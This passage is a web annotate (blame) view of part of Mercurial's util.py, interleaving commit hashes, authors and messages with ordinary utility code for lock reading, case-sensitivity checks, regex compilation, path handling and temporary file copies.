parents:
7879
diff
changeset
|
2087 try: |
39904
5fe0b880200e
py3: convert os.readlink() path to native strings on Windows
Matt Harbison <matt_harbison@yahoo.com>
parents:
39777
diff
changeset
|
2088 return readlink(pathname) |
25660
328739ea70c3
global: mass rewrite to use modern exception syntax
Gregory Szorc <gregory.szorc@gmail.com>
parents:
25420
diff
changeset
|
2089 except OSError as why: |
7890
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
2090 if why.errno not in (errno.EINVAL, errno.ENOSYS): |
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
2091 raise |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2092 except AttributeError: # no symlink in os |
7890
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
2093 pass |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2094 with posixfile(pathname, b'rb') as fp: |
39905
4017968f0a1d
util: use a context manager in readlock()
Matt Harbison <matt_harbison@yahoo.com>
parents:
39904
diff
changeset
|
2095 return fp.read() |
704
5ca319a641e1
Make makelock and readlock work on filesystems without symlink support.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
698
diff
changeset
|
2096 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2097 |
2176
9b42304d9896
fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2117
diff
changeset
|
2098 def fstat(fp): |
9b42304d9896
fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2117
diff
changeset
|
2099 '''stat file object that may not have fileno method.''' |
9b42304d9896
fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2117
diff
changeset
|
2100 try: |
9b42304d9896
fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2117
diff
changeset
|
2101 return os.fstat(fp.fileno()) |
9b42304d9896
fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2117
diff
changeset
|
2102 except AttributeError: |
9b42304d9896
fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2117
diff
changeset
|
2103 return os.stat(fp.name) |
9b42304d9896
fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2117
diff
changeset
|
2104 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2105 |
3784 | 2106 # File system features |
2107 | |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2108 |
29889
6f447b9ec263
util: rename checkcase() to fscasesensitive() (API)
Martin von Zweigbergk <martinvonz@google.com>
parents:
29832
diff
changeset
|
2109 def fscasesensitive(path): |
3784 | 2110 """ |
18911
451eb1c27c1b
util: improve doc for checkcase
Mads Kiilerich <mads@kiilerich.com>
parents:
18868
diff
changeset
|
2111 Return true if the given path is on a case-sensitive filesystem |
3784 | 2112 |
2113 Requires a path (like /foo/.hg) ending with a foldable final | |
2114 directory component. | |
2115 """ | |
24902
986a5c23b1c1
util.checkcase: don't abort on broken symlinks
Siddharth Agarwal <sid0@fb.com>
parents:
24692
diff
changeset
|
2116 s1 = os.lstat(path) |
3784 | 2117 d, b = os.path.split(path) |
15667
eacfd851cb9e
icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15609
diff
changeset
|
2118 b2 = b.upper() |
eacfd851cb9e
icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15609
diff
changeset
|
2119 if b == b2: |
eacfd851cb9e
icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15609
diff
changeset
|
2120 b2 = b.lower() |
eacfd851cb9e
icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15609
diff
changeset
|
2121 if b == b2: |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2122 return True # no evidence against case sensitivity |
15667
eacfd851cb9e
icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15609
diff
changeset
|
2123 p2 = os.path.join(d, b2) |
3784 | 2124 try: |
24902
986a5c23b1c1
util.checkcase: don't abort on broken symlinks
Siddharth Agarwal <sid0@fb.com>
parents:
24692
diff
changeset
|
2125 s2 = os.lstat(p2) |
3784 | 2126 if s2 == s1: |
2127 return False | |
2128 return True | |
14004
97ed99d1f419
eliminate various naked except clauses
Idan Kamara <idankk86@gmail.com>
parents:
13985
diff
changeset
|
2129 except OSError: |
3784 | 2130 return True |
2131 | |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2132 |
16943
8d08a28aa63e
matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents:
16873
diff
changeset
|
2133 try: |
8d08a28aa63e
matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents:
16873
diff
changeset
|
2134 import re2 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2135 |
16943
8d08a28aa63e
matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents:
16873
diff
changeset
|
2136 _re2 = None |
8d08a28aa63e
matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents:
16873
diff
changeset
|
2137 except ImportError: |
8d08a28aa63e
matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents:
16873
diff
changeset
|
2138 _re2 = False |
8d08a28aa63e
matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents:
16873
diff
changeset
|
2139 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2140 |
21908
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
2141 class _re(object): |
21913
50aad4609224
util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents:
21912
diff
changeset
|
2142 def _checkre2(self): |
50aad4609224
util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents:
21912
diff
changeset
|
2143 global _re2 |
50aad4609224
util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents:
21912
diff
changeset
|
2144 try: |
50aad4609224
util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents:
21912
diff
changeset
|
2145 # check if match works, see issue3964 |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
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diff
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2146 _re2 = bool(re2.match(r'\[([^\[]+)\]', b'[ui]')) |
21913
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util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents:
21912
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|
2147 except ImportError: |
50aad4609224
util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
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|
2148 _re2 = False |
50aad4609224
util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
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diff
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|
2149 |
21908
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
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|
2150 def compile(self, pat, flags=0): |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
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diff
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|
2151 '''Compile a regular expression, using re2 if possible |
16943
8d08a28aa63e
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Bryan O'Sullivan <bryano@fb.com>
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16873
diff
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|
2152 |
21908
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
2153 For best performance, use only re2-compatible regexp features. The |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
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|
2154 only flags from the re module that are re2-compatible are |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
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|
2155 IGNORECASE and MULTILINE.''' |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
2156 if _re2 is None: |
21913
50aad4609224
util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents:
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diff
changeset
|
2157 self._checkre2() |
21908
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
2158 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0: |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
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|
2159 if flags & remod.IGNORECASE: |
43077
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Augie Fackler <augie@google.com>
parents:
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diff
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|
2160 pat = b'(?i)' + pat |
21908
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
2161 if flags & remod.MULTILINE: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2162 pat = b'(?m)' + pat |
21908
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
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|
2163 try: |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
2164 return re2.compile(pat) |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
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|
2165 except re2.error: |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
2166 pass |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
2167 return remod.compile(pat, flags) |
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
2168 |
21914
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
2169 @propertycache |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
2170 def escape(self): |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
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|
2171 '''Return the version of escape corresponding to self.compile. |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
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|
2172 |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
2173 This is imperfect because whether re2 or re is used for a particular |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
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|
2174 function depends on the flags, etc, but it's the best we can do. |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
2175 ''' |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
2176 global _re2 |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
2177 if _re2 is None: |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
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|
2178 self._checkre2() |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
2179 if _re2: |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
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|
2180 return re2.escape |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
2181 else: |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
2182 return remod.escape |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents:
21913
diff
changeset
|
2183 |
43076
2372284d9457
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Augie Fackler <augie@google.com>
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diff
changeset
|
2184 |
21908
cad9dadc9d26
util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents:
21907
diff
changeset
|
2185 re = _re() |
16943
8d08a28aa63e
matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents:
16873
diff
changeset
|
2186 |
6676
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
2187 _fspathcache = {} |
43076
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diff
changeset
|
2188 |
2372284d9457
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diff
changeset
|
2189 |
6676
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
2190 def fspath(name, root): |
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
2191 '''Get name in the case stored in the filesystem |
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
2192 |
15710
f63e40047372
icasefs: avoid path-absoluteness/existance check in util.fspath() for efficiency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15709
diff
changeset
|
2193 The name should be relative to root, and be normcase-ed for efficiency. |
f63e40047372
icasefs: avoid path-absoluteness/existance check in util.fspath() for efficiency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15709
diff
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|
2194 |
f63e40047372
icasefs: avoid path-absoluteness/existance check in util.fspath() for efficiency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15709
diff
changeset
|
2195 Note that this function is unnecessary, and should not be |
6676
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
2196 called, for case-sensitive filesystems (simply because it's expensive). |
15670
d6c19cfa03ce
icasefs: avoid normcase()-ing in util.fspath() for efficiency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15669
diff
changeset
|
2197 |
15710
f63e40047372
icasefs: avoid path-absoluteness/existance check in util.fspath() for efficiency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15709
diff
changeset
|
2198 The root should be normcase-ed, too. |
6676
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
2199 ''' |
43076
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parents:
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|
2200 |
23097
30124c40d11f
util.fspath: use a dict rather than a linear scan for lookups
Siddharth Agarwal <sid0@fb.com>
parents:
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diff
changeset
|
2201 def _makefspathcacheentry(dir): |
30124c40d11f
util.fspath: use a dict rather than a linear scan for lookups
Siddharth Agarwal <sid0@fb.com>
parents:
23076
diff
changeset
|
2202 return dict((normcase(n), n) for n in os.listdir(dir)) |
15709
a1f4bd47d18e
icasefs: retry directory scan once for already invalidated cache
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15674
diff
changeset
|
2203 |
30613
1112ff99d965
py3: replace os.sep with pycompat.ossep (part 1 of 4)
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30536
diff
changeset
|
2204 seps = pycompat.ossep |
30625
bcf4a975f93d
py3: replace os.altsep with pycompat.altsep
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30613
diff
changeset
|
2205 if pycompat.osaltsep: |
bcf4a975f93d
py3: replace os.altsep with pycompat.altsep
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30613
diff
changeset
|
2206 seps = seps + pycompat.osaltsep |
6676
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
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diff
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|
2207 # Protect backslashes. This gets silly very quickly. |
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formatting: byteify all mercurial/ and hgext/ string literals
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diff
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|
2208 seps.replace(b'\\', b'\\\\') |
31496
670166e0fcaa
util: use bytes re on bytes input in fspath
Augie Fackler <augie@google.com>
parents:
31495
diff
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|
2209 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps)) |
15669
390bcd01775a
icasefs: use util.normcase() instead of lower() or os.path.normcase in fspath
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15667
diff
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|
2210 dir = os.path.normpath(root) |
6676
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
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|
2211 result = [] |
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
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|
2212 for part, sep in pattern.findall(name): |
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
2213 if sep: |
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
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diff
changeset
|
2214 result.append(sep) |
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
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diff
changeset
|
2215 continue |
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
6595
diff
changeset
|
2216 |
15719
1dd60426b061
icasefs: follow standard cache look up pattern
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15718
diff
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|
2217 if dir not in _fspathcache: |
23097
30124c40d11f
util.fspath: use a dict rather than a linear scan for lookups
Siddharth Agarwal <sid0@fb.com>
parents:
23076
diff
changeset
|
2218 _fspathcache[dir] = _makefspathcacheentry(dir) |
15719
1dd60426b061
icasefs: follow standard cache look up pattern
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15718
diff
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|
2219 contents = _fspathcache[dir] |
6676
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
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|
2220 |
23097
30124c40d11f
util.fspath: use a dict rather than a linear scan for lookups
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diff
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|
2221 found = contents.get(part) |
15709
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parents:
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|
2222 if not found: |
15720
3bcfea777efc
icasefs: rewrite comment to explain situtation precisely
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15719
diff
changeset
|
2223 # retry "once per directory" per "dirstate.walk" which |
3bcfea777efc
icasefs: rewrite comment to explain situtation precisely
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15719
diff
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|
2224 # may take place for each patches of "hg qpush", for example |
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30124c40d11f
util.fspath: use a dict rather than a linear scan for lookups
Siddharth Agarwal <sid0@fb.com>
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|
2225 _fspathcache[dir] = contents = _makefspathcacheentry(dir) |
30124c40d11f
util.fspath: use a dict rather than a linear scan for lookups
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parents:
23076
diff
changeset
|
2226 found = contents.get(part) |
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icasefs: retry directory scan once for already invalidated cache
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
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diff
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|
2227 |
a1f4bd47d18e
icasefs: retry directory scan once for already invalidated cache
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
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15674
diff
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|
2228 result.append(found or part) |
15669
390bcd01775a
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parents:
15667
diff
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|
2229 dir = os.path.join(dir, part) |
6676
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
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|
2230 |
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|
2231 return b''.join(result) |
6676
33045179d079
Add a new function, fspath
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|
2232 |
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|
2233 |
12938
bf826c0b9537
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diff
changeset
|
2234 def checknlink(testfile): |
bf826c0b9537
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diff
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|
2235 '''check whether hardlink count reporting works properly''' |
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12927
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|
2236 |
13204
5b83ab614dab
checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
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diff
changeset
|
2237 # testfile may be open, so we need a separate file for checking to |
5b83ab614dab
checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13188
diff
changeset
|
2238 # work around issue2543 (or testfile may get lost on Samba shares) |
34084
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checknlink: rename file object from 'fd' to 'fp'
Jun Wu <quark@fb.com>
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34079
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changeset
|
2239 f1, f2, fp = None, None, None |
12938
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changeset
|
2240 try: |
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|
2241 fd, f1 = pycompat.mkstemp( |
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|
2242 prefix=b'.%s-' % os.path.basename(testfile), |
687b865b95ad
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|
2243 suffix=b'1~', |
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|
2244 dir=os.path.dirname(testfile), |
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|
2245 ) |
34079
1104718fb090
checknlink: use a random temp file name for checking
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34072
diff
changeset
|
2246 os.close(fd) |
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diff
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|
2247 f2 = b'%s2~' % f1[:-2] |
34079
1104718fb090
checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
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diff
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|
2248 |
25088
754df8e932d3
util: use try/except/finally
Matt Mackall <mpm@selenic.com>
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24902
diff
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|
2249 oslink(f1, f2) |
12938
bf826c0b9537
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12927
diff
changeset
|
2250 # nlinks() may behave differently for files on Windows shares if |
bf826c0b9537
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12927
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changeset
|
2251 # the file is open. |
34084
6c5cdb02f2f9
checknlink: rename file object from 'fd' to 'fp'
Jun Wu <quark@fb.com>
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34079
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changeset
|
2252 fp = posixfile(f2) |
13204
5b83ab614dab
checknlink: use two testfiles (issue2543)
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13188
diff
changeset
|
2253 return nlinks(f2) > 1 |
25088
754df8e932d3
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24902
diff
changeset
|
2254 except OSError: |
754df8e932d3
util: use try/except/finally
Matt Mackall <mpm@selenic.com>
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24902
diff
changeset
|
2255 return False |
12938
bf826c0b9537
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Adrian Buehlmann <adrian@cadifra.com>
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12927
diff
changeset
|
2256 finally: |
34084
6c5cdb02f2f9
checknlink: rename file object from 'fd' to 'fp'
Jun Wu <quark@fb.com>
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34079
diff
changeset
|
2257 if fp is not None: |
6c5cdb02f2f9
checknlink: rename file object from 'fd' to 'fp'
Jun Wu <quark@fb.com>
parents:
34079
diff
changeset
|
2258 fp.close() |
13204
5b83ab614dab
checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13188
diff
changeset
|
2259 for f in (f1, f2): |
5b83ab614dab
checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13188
diff
changeset
|
2260 try: |
34079
1104718fb090
checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
parents:
34072
diff
changeset
|
2261 if f is not None: |
1104718fb090
checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
parents:
34072
diff
changeset
|
2262 os.unlink(f) |
13204
5b83ab614dab
checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13188
diff
changeset
|
2263 except OSError: |
5b83ab614dab
checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13188
diff
changeset
|
2264 pass |
12938
bf826c0b9537
opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents:
12927
diff
changeset
|
2265 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2266 |
5843
83c354c4d529
Add endswithsep() and use it instead of using os.sep and os.altsep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5802
diff
changeset
|
2267 def endswithsep(path): |
83c354c4d529
Add endswithsep() and use it instead of using os.sep and os.altsep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5802
diff
changeset
|
2268 '''Check path ends with os.sep or os.altsep.''' |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2269 return ( |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2270 path.endswith(pycompat.ossep) |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2271 or pycompat.osaltsep |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2272 and path.endswith(pycompat.osaltsep) |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2273 ) |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2274 |
5843
83c354c4d529
Add endswithsep() and use it instead of using os.sep and os.altsep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5802
diff
changeset
|
2275 |
5844
07d8eb78dd68
Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5843
diff
changeset
|
2276 def splitpath(path): |
07d8eb78dd68
Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5843
diff
changeset
|
2277 '''Split path by os.sep. |
07d8eb78dd68
Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5843
diff
changeset
|
2278 Note that this function does not use os.altsep because this is |
07d8eb78dd68
Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5843
diff
changeset
|
2279 an alternative of simple "xxx.split(os.sep)". |
07d8eb78dd68
Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5843
diff
changeset
|
2280 It is recommended to use os.path.normpath() before using this |
07d8eb78dd68
Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5843
diff
changeset
|
2281 function if need.''' |
30613
1112ff99d965
py3: replace os.sep with pycompat.ossep (part 1 of 4)
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30536
diff
changeset
|
2282 return path.split(pycompat.ossep) |
5844
07d8eb78dd68
Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5843
diff
changeset
|
2283 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2284 |
41289
593f6359681d
update: fix edge-case with update.atomic-file and read-only files
Boris Feld <boris.feld@octobus.net>
parents:
40880
diff
changeset
|
2285 def mktempcopy(name, emptyok=False, createmode=None, enforcewritable=False): |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2286 """Create a temporary file with the same contents from name |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2287 |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2288 The permission bits are copied from the original file. |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2289 |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2290 If the temporary file is going to be truncated immediately, you |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2291 can use emptyok=True as an optimization. |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2292 |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2293 Returns the name of the temporary file. |
2176
9b42304d9896
fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2117
diff
changeset
|
2294 """ |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2295 d, fn = os.path.split(name) |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2296 fd, temp = pycompat.mkstemp(prefix=b'.%s-' % fn, suffix=b'~', dir=d) |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2297 os.close(fd) |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2298 # Temporary files are created with mode 0600, which is usually not |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2299 # what we want. If the original file already exists, just copy |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2300 # its mode. Otherwise, manually obey umask. |
41289
593f6359681d
update: fix edge-case with update.atomic-file and read-only files
Boris Feld <boris.feld@octobus.net>
parents:
40880
diff
changeset
|
2301 copymode(name, temp, createmode, enforcewritable) |
593f6359681d
update: fix edge-case with update.atomic-file and read-only files
Boris Feld <boris.feld@octobus.net>
parents:
40880
diff
changeset
|
2302 |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2303 if emptyok: |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2304 return temp |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2305 try: |
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
2306 try: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2307 ifp = posixfile(name, b"rb") |
25660
328739ea70c3
global: mass rewrite to use modern exception syntax
Gregory Szorc <gregory.szorc@gmail.com>
parents:
25420
diff
changeset
|
2308 except IOError as inst: |
4827
89defeae88f3
turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents:
4803
diff
changeset
|
